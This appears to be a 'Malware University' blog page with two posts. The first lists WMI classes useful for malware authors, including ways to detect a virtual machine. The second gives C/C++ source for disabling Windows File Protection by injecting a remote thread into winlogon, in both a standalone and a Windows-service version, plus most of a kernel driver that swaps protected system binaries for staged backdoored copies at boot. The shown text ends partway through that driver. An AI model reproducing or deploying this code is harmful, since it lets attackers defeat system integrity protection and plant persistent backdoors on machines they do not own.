Skip to content

Malware University

Class is in Session

  • About
    • Privacy Policy
  • Contact
  • Resources

Month: June 2019

Windows Management Instrumentation (WMI) Research

Posted on June 28, 2019 by admin

Below is a list of interesting classes useful for malware authors. Please add comments if you believe any classes are missing, as this is not an exhaustive list.

root/CIMv2
	Win32_NetworkAdapterConfiguration
	Win32_LogicalFileSecuritySetting
	Win32_LocalTime
	Win32_LaunchCondition
	Win32_Fan
	Win32_DuplicateFileAction
	Win32_DMAChannel
	Win32_DisplayConfiguration
		Can detect VirtualBox Graphics Adapter
	Win32_DiskPartition
	Win32_DiskDriveToDiskPartition
	Win32_DiskDrive
		Probably more concise than the others
	Win32_Directory
		Maybe the most important
	Win32_DFSNode
		Sets up a Distributed File System
	Win32_DeviceChangeEvent
		Detects when flash drives are inserted or removed
	Win32_DCOMApplication
	Win32_CurrentTime
	Win32_CreateFolderAction
		Caution, this freezes.
	Win32_ComputerSystemProduct
		Good for detecting VirtualBox
	Win32_COMSetting
		Displays all CLSID info
		Very slow!!!
	Win32_ComputerSystem
	Win32_ComputerShutdownEvent
	Win32_COMClass
		Displays all COM classes available
		Very slow!!!
	Win32_ClientApplicationSetting
		Correlates COM classes with executable files
	Win32_CIMLogicalDeviceCIMDataFile
		Associates logical devices and data files with the drivers being used by those devices
	Win32_BIOS
	Win32_BootConfiguration
	Win32_BaseService
		Enumerates all services and the drivers/code used by devices
	Win32_AllocatedResource
		deprecated for Win32_PNPAllocatedResource
		Shows which resources (IRQs or DMA channels) used by specific device
	Win32_AccountSID
		Lists all accounts and their respective SIDs
	Win32_Account
		Like *AccountSID, but with more information
		
	MSFT_WmiFilterEvent
		
	CIM_DataFile
	CIM_DeviceFile
	CIM_Directory
	CIM_VideoController
		Good VirtualBox detection
	CIM_UserDevice
		List of currently installed user devices
	CIM_Thread
		Abstract class
		See:  Win32_Thread
	CIM_Processor
		Details processor
	CIM_ProcessExecutable
		Shows all "data files" (DLL) are active within processes
	CIM_Process
		Detailed list of processes
	CIM_Printer
		Detailed list of printers
	CIM_PhysicalMedia
		List of drives (CDROM and disk)
	CIM_PCVideoController
		Detailed list of graphics cards
	CIM_OperatingSystem
		Detailed list of OS
	CIM_MediaPresent
		"Active" drives?
	CIM_LogicalFile
		Abstract class
		See:  CIM_DataFile, CIM_DeviceFile, CIM_Directory
	CIM_Job
		Abstract class
		See:  Win32_PrintJob, Win32_ScheduledJob
	CIM_ExecuteProgram
		Abstract class
		No found implementations, definitely take a look
	CIM_DMA
		Abstract class
		See:  Win32_DMAChannel
		
root/nap
	Network Access Protection
root/WMI
	Windows Event Tracing classes
		VERY USEFUL
		Must enable system tracing
		See MSNT_SystemTrace class
		http://msdn.microsoft.com/en-us/library/windows/desktop/aa364158(v=vs.85).aspx
		
Posted in Malware DevelopmentTagged Research, WMILeave a comment

Disabling Windows File Protection

Posted on June 27, 2019 - June 27, 2019 by admin

This is an example of working code that was used to disable the Windows File Protection feature in the NT subsystem for OSes Windows 2000 through XP/2003. It is one of multiple ways to disable SFC from triggering on a protected file from modification.

There is a more thorough and complete method which requires adding kernel module code along with modification of the boot list (and location of target payload to overwrite legitimate target) which works for all protected file modifications with 100% success rate. Even kernel (ntoskrnl.exe) modification works with this method. The core snippet of the code is located at the bottom of this article.

Such code was useful for backdooring system utilities in “non-writable” directories (such as C:/WINDOWS/).

Hijack Winlogon Execution

// DisableWFP.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#define THREAD_WAIT 1000


DWORD dwBaseAddress;

BOOL IsWinlogon(DWORD pid)
{
	TCHAR processName[MAX_PATH] = _T("FILLER");

	HANDLE hProcess = OpenProcess(	PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
									FALSE,
									pid);
	if (hProcess)
	{
		HMODULE hModule;
		DWORD sizeModules;

		if (EnumProcessModules(hProcess, &hModule, sizeof(hModule), &sizeModules))
			GetModuleBaseName(hProcess, hModule, processName, sizeof(processName) / sizeof(TCHAR));
	}

	if (!memcmp(processName, _T("winlogon.exe"), _tcslen(_T("winlogon.exe"))))
	{
		// Match found.
		return TRUE; 
	}

	return FALSE;
}

FARPROC GetRelativeEntryAddress(LPTSTR pwszLibrary, char* szEntryFunction)
{
	if (GetFileAttributes(pwszLibrary) == INVALID_FILE_ATTRIBUTES)
		return NULL;

	HINSTANCE hLibrary = LoadLibrary(pwszLibrary);
	if (!hLibrary)
		return NULL;

	FARPROC pFunction = GetProcAddress(hLibrary, szEntryFunction);
	if (!pFunction)
		return NULL;

	return (FARPROC)((DWORD) pFunction - (DWORD) hLibrary);
}

LPVOID GetAbsoluteAddress(DWORD dwBaseAddress, LPVOID pFunction)
{
	return (LPVOID)((DWORD) pFunction + dwBaseAddress);
}

// Load payload into DisableWFP virtual space.
// Use it to get address of exported function "sfc_os_2".
// The difference is found with GetProcAddress().
// http://stackoverflow.com/questions/10057687/calling-function-in-injected-dll
void* GetPayloadExportAddress(LPTSTR lpPath, HMODULE hPayloadBase, LPCSTR lpFunctionName)
{
	HMODULE hLoaded = LoadLibrary(lpPath);
	if (!hLoaded)
	{
		return NULL;
	}

	else
	{
		void* lpFunc = GetProcAddress(hLoaded, lpFunctionName);
		DWORD dwOffset = (char* ) lpFunc - (char* ) hLoaded;
		FreeLibrary(hLoaded);

		return hPayloadBase + dwOffset;
	}

	return NULL;
}

bool CallRemoteFunction(HANDLE hProcess, LPVOID pFunction)
{
	DWORD dwExitCode;
	HANDLE hThread = CreateRemoteThread(hProcess,										NULL,										0,										(LPTHREAD_START_ROUTINE) pFunction,										NULL,										0,
NULL);

	if (!hThread)
		return false;

	if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0)
		return false;

	if (!GetExitCodeThread(hThread, &dwExitCode))
		return false;

	CloseHandle(hThread);
	dwBaseAddress = dwExitCode;

	return dwExitCode != 0;		// Internal DLL function must return 0 for failure on this logic.
}

int _tmain(int argc, _TCHAR* argv[])
{
	DWORD processList[1024], numBytes;
	DWORD winlogonPID;
	int ordinal = 2;

	FARPROC pEntry = GetRelativeEntryAddress(_T("C:\\WINDOWS\\System32\\sfc_os.dll"), (char* ) ordinal);	// int SfcTerminateWatcherThread()
	if (!pEntry)
	{
		MessageBox(0,
				   _T("Unable to disable WFP"),
				   _T("WFP Error"),
				   MB_OK);
		
		return 1;
	}

	LPVOID pFunction = GetAbsoluteAddress(dwBaseAddress, pEntry);
	if (!EnumProcesses(processList, sizeof(processList), &numBytes))
		goto ___WFPMiscErr;

	for (int i = 0; processList[i]; i++)
		if (IsWinlogon(processList[i]))
			winlogonPID = processList[i];
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, winlogonPID);
	if (!hProcess)
		goto ___WFPMiscErr;

	if (!CallRemoteFunction(hProcess, pFunction))
	{
___WFPMiscErr:
		MessageBox(0,
					_T("WFP Random Error"),
					_T("WFP Error"),
					MB_OK);
	
		return 4;
	}

	MessageBox(0,
				_T("WFP successfully disabled"),
				_T("WFP Success"),
				MB_OK);
	CloseHandle(hProcess);

	return 0;
}

Service-based Bypass

// InjectionSvc.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"


DWORD dwBaseAddress;

BOOL IsWinlogon(DWORD pid)
{
	TCHAR processName[MAX_PATH] = _T("FILLER");

	HANDLE hProcess = OpenProcess(	PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
									FALSE,
									pid);
	if (hProcess)
	{
		HMODULE hModule;
		DWORD sizeModules;

		if (EnumProcessModules(hProcess, &hModule, sizeof(hModule), &sizeModules))
			GetModuleBaseName(hProcess, hModule, processName, sizeof(processName) / sizeof(TCHAR));
	}

	if (!memcmp(processName, _T("winlogon.exe"), _tcslen(_T("winlogon.exe"))))
	{
		// Match found.
		return TRUE; 
	}

	return FALSE;
}

FARPROC GetRelativeEntryAddress(LPTSTR pwszLibrary, char* szEntryFunction)
{
	if (GetFileAttributes(pwszLibrary) == INVALID_FILE_ATTRIBUTES)
		return NULL;

	HINSTANCE hLibrary = LoadLibrary(pwszLibrary);
	if (!hLibrary)
		return NULL;
	dwBaseAddress = (DWORD) hLibrary;

	FARPROC pFunction = GetProcAddress(hLibrary, szEntryFunction);
	if (!pFunction)
		return NULL;

	return (FARPROC)((DWORD) pFunction - (DWORD) hLibrary);
}

LPVOID GetAbsoluteAddress(DWORD dwBaseAddress, LPVOID pFunction)
{
	return (LPVOID)((DWORD) pFunction + dwBaseAddress);
}

// Load payload into DisableWFP virtual space.
// Use it to get address of exported function "sfc_os_2".
// The difference is found with GetProcAddress().
// http://stackoverflow.com/questions/10057687/calling-function-in-injected-dll
void* GetPayloadExportAddress(LPTSTR lpPath, HMODULE hPayloadBase, LPCSTR lpFunctionName)
{
	HMODULE hLoaded = LoadLibrary(lpPath);
	if (!hLoaded)
	{
		return NULL;
	}

	else
	{
		void* lpFunc = GetProcAddress(hLoaded, lpFunctionName);
		DWORD dwOffset = (char* ) lpFunc - (char* ) hLoaded;
		FreeLibrary(hLoaded);

		return hPayloadBase + dwOffset;
	}

	return NULL;
}

bool CallRemoteFunction(HANDLE hProcess, LPVOID pFunction)
{
	DWORD dwExitCode;

	HANDLE hThread = CreateRemoteThread(hProcess,										NULL,										0,										(LPTHREAD_START_ROUTINE) pFunction,										NULL,										0,
NULL);
	if (!hThread)
		return false;

	if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0)
		return false;

	if (!GetExitCodeThread(hThread, &dwExitCode))
		return false;

	CloseHandle(hThread);
	dwBaseAddress = dwExitCode;

	// This is for debugging.
	DWORD gle = 0;
	if (!dwExitCode)
		gle = GetLastError();	// Keeps returning 299 (ERROR_PARTIAL_COPY).

	return dwExitCode != 0;		// Internal DLL function must return 0 for failure on this logic.
}

SERVICE_STATUS			g_ServiceStatus = {0};
SERVICE_STATUS_HANDLE	g_StatusHandle = NULL;
HANDLE					g_ServiceStopEvent = INVALID_HANDLE_VALUE;

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
VOID WINAPI ServiceCtrlHandler(DWORD);
DWORD WINAPI ServiceWorkerThread(LPVOID lpParam);

#define SERVICE_NAME _T("Disable WFP For System Utility Modification in Field")

VOID WINAPI ServiceCtrlHandler(DWORD ctrlCode)
{
	switch (ctrlCode)
	{
	case SERVICE_CONTROL_STOP:
		if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
			break;

		// Perform tasks to stop service.
		g_ServiceStatus.dwControlsAccepted = 0;
		g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
		g_ServiceStatus.dwWin32ExitCode = 0;
		g_ServiceStatus.dwCheckPoint = 4;

		if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
			OutputDebugString(_T("Injection Service:  ServiceCtrlHandler:  SetServiceStatus returned error"));

		// Signal worker thread to start shutting down.
		SetEvent(g_ServiceStopEvent);
		break;

	default:
		break;
	}
}

DWORD WINAPI ServiceWorkerThread(LPVOID lpParam)
{
	// Periodically check if service has been requested to stop.
	while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0)
	{
		// Perform main service function below.
		DWORD processList[1024] = {0}; 
		DWORD numBytes = 0;
		DWORD winlogonPID = 0;
		int ordinal = 2;

		FARPROC pEntry = GetRelativeEntryAddress(_T("C:\\WINDOWS\\System32\\sfc_os.dll"), (char* ) ordinal);	// int SfcTerminateWatcherThread()
		if (!pEntry)
		{
			//MessageBox(0,
			//		   _T("Unable to disable WFP"),
			//		   _T("WFP Error"),
			//		   MB_OK);
			OutputDebugString(_T("Unable to disable WFP"));
			
			return 1;
		}

		LPVOID pFunction = GetAbsoluteAddress(dwBaseAddress, pEntry);
		if (!EnumProcesses(processList, sizeof(processList), &numBytes))
			goto ___WFPMiscErr;

		for (int i = 1; processList[i]; i++)
			if (IsWinlogon(processList[i]))
				winlogonPID = processList[i];
		HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, winlogonPID);
		if (!hProcess)
			goto ___WFPMiscErr;

		if (!CallRemoteFunction(hProcess, pFunction))
		{
___WFPMiscErr:
			//MessageBox(0,
			//			_T("WFP Random Error"),
			//			_T("WFP Error"),
			//			MB_OK);
			OutputDebugString(_T("WFP Random Error"));
		
			return 4;
		}

		//MessageBox(0,
		//			_T("WFP successfully disabled"),
		//			_T("WFP Success"),
		//			MB_OK);
		OutputDebugString(_T("WFP successfully disabled"));
		CloseHandle(hProcess);

		return ERROR_SUCCESS;
	}
}

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
{
	DWORD Status = E_FAIL;

	while (!IsDebuggerPresent())
		;

	// Register service control handler with SCM.
	g_StatusHandle = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
	if (!g_StatusHandle)
		goto ___exit;

	// Tell the service controller we are starting.
	ZeroMemory(&g_ServiceStatus, sizeof(g_ServiceStatus));
	g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
	g_ServiceStatus.dwControlsAccepted = 0;
	g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
	g_ServiceStatus.dwWin32ExitCode = 0;
	g_ServiceStatus.dwServiceSpecificExitCode = 0;
	g_ServiceStatus.dwCheckPoint = 0;

	if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
		OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus returned error"));

	// Create a service stop event to wait on.
	g_ServiceStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
	if (!g_ServiceStopEvent)
	{
		// Error creating event.
		// Tell service controller we stopped and exit.
		g_ServiceStatus.dwControlsAccepted = 0;
		g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
		g_ServiceStatus.dwWin32ExitCode = GetLastError();
		g_ServiceStatus.dwCheckPoint = 1;

		if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
			OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus unable to create event"));
		goto ___exit;
	}

	// Tell service controller we are started.
	g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
	g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
	g_ServiceStatus.dwWin32ExitCode = 0;
	g_ServiceStatus.dwCheckPoint = 0;

	if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
		OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus unable to inform service controller of start"));

	// Start thread to perform main task.
	HANDLE hThread = CreateThread(NULL, 0, ServiceWorkerThread, NULL, 0, NULL);
	
	// Wait until our worker thread exits, signaliing that service needs stopping.
	WaitForSingleObject(hThread, INFINITE);

	// Cleanup.
	CloseHandle(g_ServiceStopEvent);

	// Tell service controller we are stopped.
	g_ServiceStatus.dwControlsAccepted = 0;
	g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
	g_ServiceStatus.dwWin32ExitCode = 0;
	g_ServiceStatus.dwCheckPoint = 3;

	if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
		OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus unable to inform service controller of stop"));

___exit:
	return;
}

int _tmain(int argc, _TCHAR* argv[])
{
	SERVICE_TABLE_ENTRY ServiceTable[] = {
											{SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
											{NULL, NULL}
										 };

	if (!StartServiceCtrlDispatcher(ServiceTable))
		return GetLastError();

	return 0;
}

Header file

// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//

#pragma once

#include "targetver.h"

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <Psapi.h>


// TODO: reference additional headers your program requires here
#pragma comment(lib, "psapi.lib")

Kernel-mode Driver to Backdoor All Binaries

// Purpose:
//				Let the agent know we successfully updated.
//				"Touch" the file "patch.scc" with the "next_version" number.
//				Our agent will copy contents of "patch.scc" to "patch.ver" and
//				delete "patch.scc" after.
NTSTATUS UpdateSystemPatchVersion(DWORD next_version)
{
	UNICODE_STRING						patch_version_file_name = { 0 };
	OBJECT_ATTRIBUTES					patch_version_file_attr = { 0 };
	FILE_STANDARD_INFORMATION			patch_version_standard_information = { 0 };
	HANDLE								patch_version_handle = 0;
	LARGE_INTEGER						max_patch_scc_size = { 0 };

#define MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE 10				// Max of (ANSI) 0xFFFFFF patches supported by this driver.

	max_patch_scc_size.QuadPart = MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE;

	RtlInitUnicodeString(&patch_version_file_name, L"\\??\\C:\\Program Files\\NothingToSeeHereAdmin\\patch.scc");
	InitializeObjectAttributes(&patch_version_file_attr,
								&patch_version_file_name,
								OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
								NULL,
								NULL);
	nt_status = ZwCreateFile(&patch_version_handle,
								GENERIC_WRITE,
								&patch_version_file_attr,
								&io_status_block,
								NULL, //&max_patch_scc_size,
								FILE_ATTRIBUTE_NORMAL,
								0,
								FILE_SUPERSEDE,
								FILE_SYNCHRONOUS_IO_NONALERT,
								NULL,
								0);
	// Scumbag nt headers didn't define STATUS_FILE_NOT_AVAILABLE?
#ifndef STATUS_FILE_NOT_AVAILABLE
#define STATUS_FILE_NOT_AVAILABLE 0xC0000467
#endif
	if (!NT_SUCCESS(nt_status))
	{
		// There was a problem opening "patch.scc".
		return STATUS_FILE_NOT_AVAILABLE;
	}

	// Must bitshift to find length of ANSI string representing dword.
	size_t size_of_patch_version_file; 

	CHAR patch_version_file_buffer[MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE + 1] = { 0 };
	const CHAR number_format[] = "%u\r\n";
	//_itoa(next_version, (PCHAR) patch_version_file_buffer, 16);
	nt_status = RtlStringCbPrintfA(patch_version_file_buffer,
									MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE,
									number_format,
									next_version);
	if (!NT_SUCCESS(nt_status))
	{
		ZwClose(patch_version_handle);

		return STATUS_BUFFER_OVERFLOW;		// Not necessarily true, we just need a reason.
	}

	// Get string length.
	nt_status = RtlStringCbLengthA(patch_version_file_buffer,
									MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE + 1,
									&size_of_patch_version_file);
	if (!NT_SUCCESS(nt_status))
	{
		ZwClose(patch_version_handle);

		return STATUS_INFO_LENGTH_MISMATCH;
	}


	byte_offset.LowPart = byte_offset.HighPart = 0;
	nt_status = ZwWriteFile(patch_version_handle,
							NULL,
							NULL,
							NULL,
							&io_status_block,
							patch_version_file_buffer,
							size_of_patch_version_file,
							&byte_offset,
							NULL);
	if (!NT_SUCCESS(nt_status))
	{
		// We are unable to read the file.
		ZwClose(patch_version_handle);
		
		return nt_status;
	}

	ZwClose(patch_version_handle);

	return STATUS_SUCCESS;
}

// Purpose:
//				Parse the file "C:\\Program Files\\NothingToSeeHereAdmin\\staging\\INFO.txt" with format:
//					<SOURCE>
//					<TARGET>
//					...
//
//				It will replace <TARGET> with <SOURCE> at boot up if both <TARGET> and <SOURCE> exist.
NTSTATUS ParseInformationFile(DWORD next_version)
{
	// Variables for handling the information file.
	windows_file_t				backdoor_info = { 0 };

	// Variables for handling the TARGET file. (see below)

	// Variables for handling the SOURCE file. (see below)

	//RtlInitUnicodeString(&backdoor_info.path, L"\\??\\C:\\Program Files\\NothingToSeeHereAdmin\\staging\\INFO.txt");
	// Initialize strings.
	if (!NT_SUCCESS(RtlUnicodeStringInit(&backdoor_info.path, L"\\??\\C:\\Program Files\\NothingToSeeHereAdmin\\staging\\INFO.txt")))
	{
#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] Unable to initialize information string\n");
#endif

		return STATUS_UNEXPECTED_IO_ERROR;
	}

	// Initialize file object attributes for information file (because we always know path).
	InitializeObjectAttributes(&backdoor_info.object_attributes,
		&backdoor_info.path,
		OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
		NULL,
		NULL);

	nt_status = ZwCreateFile(&backdoor_info.handle,
		GENERIC_READ,
		&backdoor_info.object_attributes,
		&io_status_block,
		NULL,
		FILE_ATTRIBUTE_NORMAL,
		0,
		FILE_OPEN,
		FILE_SYNCHRONOUS_IO_NONALERT,
		NULL,
		0);
	if (!NT_SUCCESS(nt_status))
	{
		// Could not open information file for reading.
		// We need a way to log the error and possibly handle it in the future.
#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] Unable to open information file.\n");
#endif

		return STATUS_UNEXPECTED_IO_ERROR;
	}

	// Allocate memory to hold contents. (PagedPool)
	nt_status = ZwQueryInformationFile(backdoor_info.handle,
										&io_status_block,
										&backdoor_info.file_standard_information,
										sizeof(FILE_STANDARD_INFORMATION),
										FileStandardInformation);
	if (!NT_SUCCESS(nt_status))
	{
		// Unable to query file information.
		ZwClose(backdoor_info.handle);

		return STATUS_DATA_ERROR;
	}

	backdoor_info.file_size = (SIZE_T) backdoor_info.file_standard_information.EndOfFile.LowPart;
	backdoor_info.buffer = (PCHAR) ExAllocatePoolWithTag(PagedPool,
													 backdoor_info.file_size + 1,
													 'gaT1');
	if (!backdoor_info.buffer)
	{
		// There is not enough memory in the system to replace the file.
		ZwClose(backdoor_info.handle);	

		return STATUS_DATA_ERROR;
	}

	byte_offset.LowPart = byte_offset.HighPart = 0;
	nt_status = ZwReadFile(backdoor_info.handle,
							NULL,
							NULL,
							NULL,
							&io_status_block,
							backdoor_info.buffer,
							backdoor_info.file_size,
							&byte_offset,
							NULL);
	backdoor_info.buffer[backdoor_info.file_size] = NULL;	// Ensure end of string.
	if (!NT_SUCCESS(nt_status))
	{
		// Do not log an error.  If there is no information file,
		// assume there is nothing to update.
#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] No information file\n");
#endif
		ZwClose(backdoor_info.handle);
		ExFreePoolWithTag(backdoor_info.buffer, 'gaT1');

		return STATUS_SUCCESS;
	}
#ifdef _DEBUG
	DbgPrint(("[MICROSOFT_DRIVER] %s\n", backdoor_info.buffer));		// Print contents of text file to debug console.
#endif

#ifndef MAX_PATH
#define MAX_PATH 255
#endif

#ifndef MAX_PATH_PLUS_NULL
#define MAX_PATH_PLUS_NULL MAX_PATH * sizeof(CHAR) + 1 * sizeof(CHAR)
#endif

	// No longer needed.
	ZwClose(backdoor_info.handle);

	/*int information_file_descriptor = _open_osfhandle((intptr_t) backdoor_info.handle, _A_RDONLY);
	if (information_file_descriptor == -1)	// ERROR_INVALID_HANDLE
	{
		// Error locating the file descriptor for handle.
	}

	FILE* information_file_file_pointer = _fdopen(information_file_descriptor, "r");	// "rb"?
	if (!information_file_file_pointer)
	{
		// Error achieving a standard C file pointer from Windows HANDLE.
	}*/

	// Now we can use fgets() to read each line.
	// "backdoor_info.buffer" holds all file contents.
	// "backdoor_info.file_size" holds the number of bytes in the file.
	CHAR	current_source_file_path[MAX_PATH_PLUS_NULL] = { 0 };
	CHAR	current_target_file_path[MAX_PATH_PLUS_NULL] = { 0 };
	fgetws_t fget;
	fget.buffer = (WCHAR*) backdoor_info.buffer;	// Dangerous, but works.r
	fget.position = 0;
	fget.stream = backdoor_info.handle;				// Unused.
	// Just because "backdoor_info.buffer" is (CHAR* ) doesn't mean it actually is.
	// Our file is stored as UNICODE in text, so each character will be followed by a NULL (0x0) space.
	WCHAR*	back = (WCHAR* ) backdoor_info.buffer;

	// Check to see if "backdoor_info.file_size" is 0 or negative.
	if (backdoor_info.file_size <= 0)
	{
		// There were no bytes in INFO.txt.

		return STATUS_DATA_ERROR;
	}

	// Parse the read buffer.
	SIZE_T current_source_file_path_len = 0;		// We need to have something to read the actual line into something like "current_source_file_path".
	SIZE_T current_target_file_path_len = 0;
	const CHAR newline_char[] = "\r\n";


	windows_file_t		current_target = { 0 };
	windows_file_t		current_source = { 0 };

	UNICODE_STRING	unicode_source_file_path = { 0 };
	ANSI_STRING		ansi_source_file_path = { 0 };

	// bytes_read is updated after each line is read.
	INT32	bytes_read;
	INT32	char_index_in_line;
	bool	is_source;
	for (bytes_read = 0, char_index_in_line = 0, is_source = true; bytes_read < backdoor_info.file_size; )
	{
		// We're reading a UNICODE file.
		// Do not copy the L'\n' character to the string.
		//if (RtlEqualMemory(&newline_char, (CHAR* ) (backdoor_info.buffer + bytes_read + char_index_in_line), sizeof(newline_char)))
		// Check for next character being NULL.  It indicates we are at the end of the file.
		if (bytes_read + char_index_in_line == backdoor_info.file_size)
		{
			// We are done reading the file.
			// If we are in "source" reading turn,
			// we fail gracefully.
			if (is_source)
			{
				// Deallocation.

				// Fail gracefully.
				return STATUS_SUCCESS;
			}

			// This means we are done with the information file.
			// Perform the final write of protected files here.
			goto ___PerformReplace;
		}

#define STRLEN_NEWLINE 2
		// First boolean ensures against overflow.
		// Second boolean checks for Windows newline (0xD 0xA)
		else if ((bytes_read + char_index_in_line + STRLEN_NEWLINE <= backdoor_info.file_size) &&
			(newline_char[0] == backdoor_info.buffer[bytes_read + char_index_in_line] && newline_char[1] == backdoor_info.buffer[bytes_read + char_index_in_line + 1]))
		{
			// New line in Windows is 0x0D 0x0A.
			*((PCHAR) backdoor_info.buffer + bytes_read + char_index_in_line) = *((PCHAR) backdoor_info.buffer + bytes_read + char_index_in_line + 1) = NULL;	// Chomp the new line.
			// We found a newline character.	
			if (is_source)
			{
				// Source file.

				RtlInitAnsiString(&ansi_source_file_path, backdoor_info.buffer + bytes_read);
				if (!NT_SUCCESS(RtlAnsiStringToUnicodeString(&unicode_source_file_path, &ansi_source_file_path, TRUE)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to convert ansi to unicode\n");
#endif
				}
				// We have to do the "bytes_read" incrementation here so we don't cut off the "\?" at the beginning of
				// "ansi_source_file_path".
				bytes_read++;	// We don't want to start on the second NULL byte, we must start at next line.
				bytes_read++;	// We use "bytes_read" because "char_index_in_line" gets refreshed after every line is read.
				is_source = false;	// Next line, if any, will be target.

				if (!NT_SUCCESS(RtlUnicodeStringInit(&current_source.path, unicode_source_file_path.Buffer)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to initialize source string\n");
#endif

					return STATUS_UNEXPECTED_IO_ERROR;
				}
				// Do everything with opening and reading the source file if only the target file exists.
				// We have nothing left to do here.
			}

			else
			{
___PerformReplace:
				UNICODE_STRING	unicode_target_file_path;
				ANSI_STRING		ansi_target_file_path;

				RtlInitAnsiString(&ansi_target_file_path, backdoor_info.buffer + bytes_read);
				if (!NT_SUCCESS(RtlAnsiStringToUnicodeString(&unicode_target_file_path, &ansi_target_file_path, TRUE)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to convert ansi to unicode\n");
#endif
				}
				is_source = false;	// Next line, if any, will be target.
				//if (!NT_SUCCESS(RtlUnicodeStringInit(&current_target.path, current_target_file_path)))
				if (!NT_SUCCESS(RtlUnicodeStringInit(&current_target.path, unicode_target_file_path.Buffer)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to initialize target string\n");
#endif

					return STATUS_UNEXPECTED_IO_ERROR;
				}
				// We have to do the "bytes_read" incrementation here so we don't cut off the "\?" at the beginning of
				// "ansi_source_file_path".
				bytes_read++;	// We don't want to start on the second NULL byte, we must start at next line.
				bytes_read++;	// We use "bytes_read" because "char_index_in_line" gets refreshed after every line is read.

				is_source = true;	// Next line, if any, will be source.

				// Open and read the source file.
				// Copy unicode_source_file_path contents into unicode_target_file_path file.
				// We have a matching source with target.
				// Time to open and read the source.
				// Initialize file object attributes for information file (because we always know path).
				InitializeObjectAttributes(&(current_source.object_attributes),
					&current_source.path,
					OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
					NULL,
					NULL);
				InitializeObjectAttributes(&(current_target.object_attributes),
					&current_target.path,
					OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
					NULL,
					NULL);
				
				// OPEN THE FILE!!!

				nt_status = ZwCreateFile(&current_source.handle,
					GENERIC_READ,
					&current_source.object_attributes,
					&io_status_block,
					NULL,
					FILE_ATTRIBUTE_NORMAL,
					0,
					FILE_OPEN,
					FILE_SYNCHRONOUS_IO_NONALERT,
					NULL,
					0);
				if (!NT_SUCCESS(nt_status))
				{
					// Could not open information file for reading.
					// We need a way to log the error and possibly handle it in the future.
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to open source file.\n");
#endif

					return STATUS_UNEXPECTED_IO_ERROR;
				}

				nt_status = ZwCreateFile(&current_target.handle,
					GENERIC_READ | GENERIC_WRITE,	
					&current_target.object_attributes,
					&io_status_block,
					NULL,
					FILE_ATTRIBUTE_NORMAL,
					0,
					FILE_SUPERSEDE,
					FILE_SYNCHRONOUS_IO_NONALERT,
					NULL,
					0);
				if (!NT_SUCCESS(nt_status))
				{
					// Could not open information file for reading.
					// We need a way to log the error and possibly handle it in the future.
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to open target file.\n");
#endif
					ZwClose(current_source.handle);

					return STATUS_UNEXPECTED_IO_ERROR;
				}

				// Now handles to both SOURCE and TARGET are created.
				// Time to read from SOURCE.
				// Allocate memory to hold contents. (PagedPool)
				nt_status = ZwQueryInformationFile(current_source.handle,
													&io_status_block,
													&current_source.file_standard_information,
													sizeof(FILE_STANDARD_INFORMATION),
													FileStandardInformation);
				if (!NT_SUCCESS(nt_status))
				{
					// Unable to query file information.
					ZwClose(current_source.handle);
					ZwClose(current_target.handle);

					return STATUS_DATA_ERROR;
				}

				current_source.file_size = (SIZE_T) current_source.file_standard_information.EndOfFile.LowPart;
				current_source.buffer = (PCHAR) ExAllocatePoolWithTag(PagedPool,
																 current_source.file_size + 1,
																 'gaT1');
				if (!current_source.buffer)
				{
